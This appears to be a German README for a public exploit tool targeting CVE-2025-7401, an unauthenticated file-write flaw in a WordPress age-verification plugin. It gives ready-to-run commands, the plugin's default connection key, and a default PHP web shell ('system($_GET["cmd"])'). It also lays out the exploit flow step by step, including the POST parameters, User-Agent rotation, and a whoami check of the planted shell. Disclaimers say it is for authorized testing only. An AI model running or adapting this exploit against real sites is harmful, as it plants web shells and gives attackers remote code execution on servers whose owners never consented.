
Premium Age Verification / Restriction for WordPress <= 3.0.2 - Nicht authentifiziertes beliebiges Lesen und Schreiben von Dateien
Premium Age Verification / Restriction for WordPress <= 3.0.2 - Nicht authentifiziertes beliebiges Lesen und Schreiben von Dateien
Das Plugin „Premium Age Verification / Restriction for WordPress" enthält einen unzureichend geschützten Remote-Support-Endpunkt in remote_tunnel.php. In betroffenen Versionen bis einschließlich 3.0.2 kann dieser Endpunkt für nicht authentifiziertes beliebiges Lesen und Schreiben von Dateien missbraucht werden. Eine erfolgreiche Ausnutzung kann vertrauliche Informationen offenlegen oder eine Remote-Codeausführung ermöglichen.
CVE-2025-7401.py# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com
# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify
# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'
remote_tunnel.php zu erkennen und zu blockieren./wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php mit den Parametern: action=save_file, file, file_content.remote_init.php.Wenn Sie diese Schwachstelle auf Infrastruktur Dritter entdecken:
Die unbefugte Nutzung von Schwachstellen-Testwerkzeugen ist in vielen Rechtsordnungen illegal. Dieses Repository und Skript sind ausschließlich für defensive Forschung, autorisierte Tests und koordinierte Offenlegung von Schwachstellen bestimmt. Holen Sie immer eine ausdrückliche schriftliche Genehmigung ein, bevor Sie Systeme testen, die Ihnen nicht gehören.
Der Autor und die Mitwirkenden übernehmen keine Verantwortung für den Missbrauch der Informationen oder Werkzeuge. Verwenden Sie dieses Material nur innerhalb rechtlicher und ethischer Grenzen.
Von: Nxploited ( Khaled Alenazi )
| Flag | Typ | Standard | Beschreibung |
|---|
| -u, --url | string | erforderlich | Zieldomain oder Teil-URL. Das Skript hängt bei Bedarf den Plugin-Endpunkt an. Beispiele: example.com, https://example.com, example.com/wp-content/plugins/age-restriction/. |
| -key, --key | string | 330489965d8266a739442ef890f57805 | Verbindungsschlüssel, der vom Remote-Support-Endpunkt verwendet wird. Bei Bedarf für Laborziele überschreiben. |
| -shell, --shell | string | <?= system($_GET["cmd"]); ?> | PHP-Snippet, das als Dateiinhalt injiziert werden soll. Nur für autorisierte Tests ändern. |
| --no-verify | flag | false | Falls vorhanden, führt das Skript die optionale GET-Überprüfung der geschriebenen Datei nicht durch. |
| Schritt | Aktion | Details |
|---|
| 1 | Eingabenormalisierung | Nimmt Benutzereingaben (Domain oder Teilpfad) entgegen. Stellt das Schema sicher (http://, falls fehlend), entfernt doppelte Schrägstriche und hängt /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php an, falls der Endpunkt nicht vorhanden ist. |
| 2 | Header-Erstellung | Erstellt realistische HTTP-Request-Header (rotierende User-Agent-Auswahl, Accept, Referer, Content-Type). |
| 3 | Payload-Kodierung | Kodiert das bereitgestellte PHP-Snippet base64 und platziert es in file_content. |
| 4 | POST-Exploit-Anfrage | Sendet connection_key, action=save_file, file (Serverpfad) und file_content über application/x-www-form-urlencoded an den normalisierten remote_tunnel.php-Endpunkt. |
| 5 | Antwort-Parsing | Versucht, JSON aus dem Antwortkörper zu parsen. Wenn JSON vorhanden ist, werden status und file_path ausgegeben; andernfalls wird die bereinigte Rohantwort ausgegeben. |
| 6 | Überprüfung (optional) | Versucht einen GET auf /wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami, um zu prüfen, ob die injizierte Datei zugänglich ist und Inhalte zurückgibt. Optional über --no-verify. |
| 7 | Berichterstattung | Gibt einen strukturierten, menschenlesbaren Bericht aus, einschließlich des verwendeten Endpunkts, des HTTP-Status, des geparsten JSON (falls vorhanden), der erwarteten Shell-URL und der gekürzten Überprüfungsausgabe (falls erfolgreich). |
| Ausgabefeld | Bedeutung | Beispiel |
|---|
| Zielendpunkt | Endgültige normalisierte kontaktierte URL (vollständiger Pfad zu remote_tunnel.php). | http://example.com/wp-content/.../remote_tunnel.php |
| HTTP-Statuscode | HTTP-Antwortcode der POST-Anfrage. 200 deutet oft darauf hin, dass die Anfrage verarbeitet wurde. | 200 |
| Antwort-JSON-status | Wenn der Endpunkt JSON zurückgibt, meldet das Feld status Erfolg bzw. Fehlschlag. | valid |
| Antwort-JSON-file_path | Vom Endpunkt zurückgegebener serverseitiger Pfad, der anzeigt, wohin die Datei geschrieben wurde (informativ). | /var/www/html/wp-content/.../remote_init.php |
| Rohantwort | Nicht-JSON-Antwortkörper (bereinigt), z. B. PHP-Hinweise oder -Meldungen. | Notice: ... |
| Shell-URL (erwartet) | Die öffentliche URL, unter der die injizierte Datei erreichbar wäre. Nur für Überprüfungen in autorisierten Tests verwenden. | http://example.com/wp-content/.../remote_init.php?cmd=whoami |
| HTTP-Status der Überprüfung | HTTP-Status der optionalen GET-Überprüfung. | 200 |
| Überprüfungstext (gekürzt) | Die ersten N Zeichen des Antwortkörpers der Überprüfung (nützlich, um die Befehlsausgabe zu sehen). | www-data |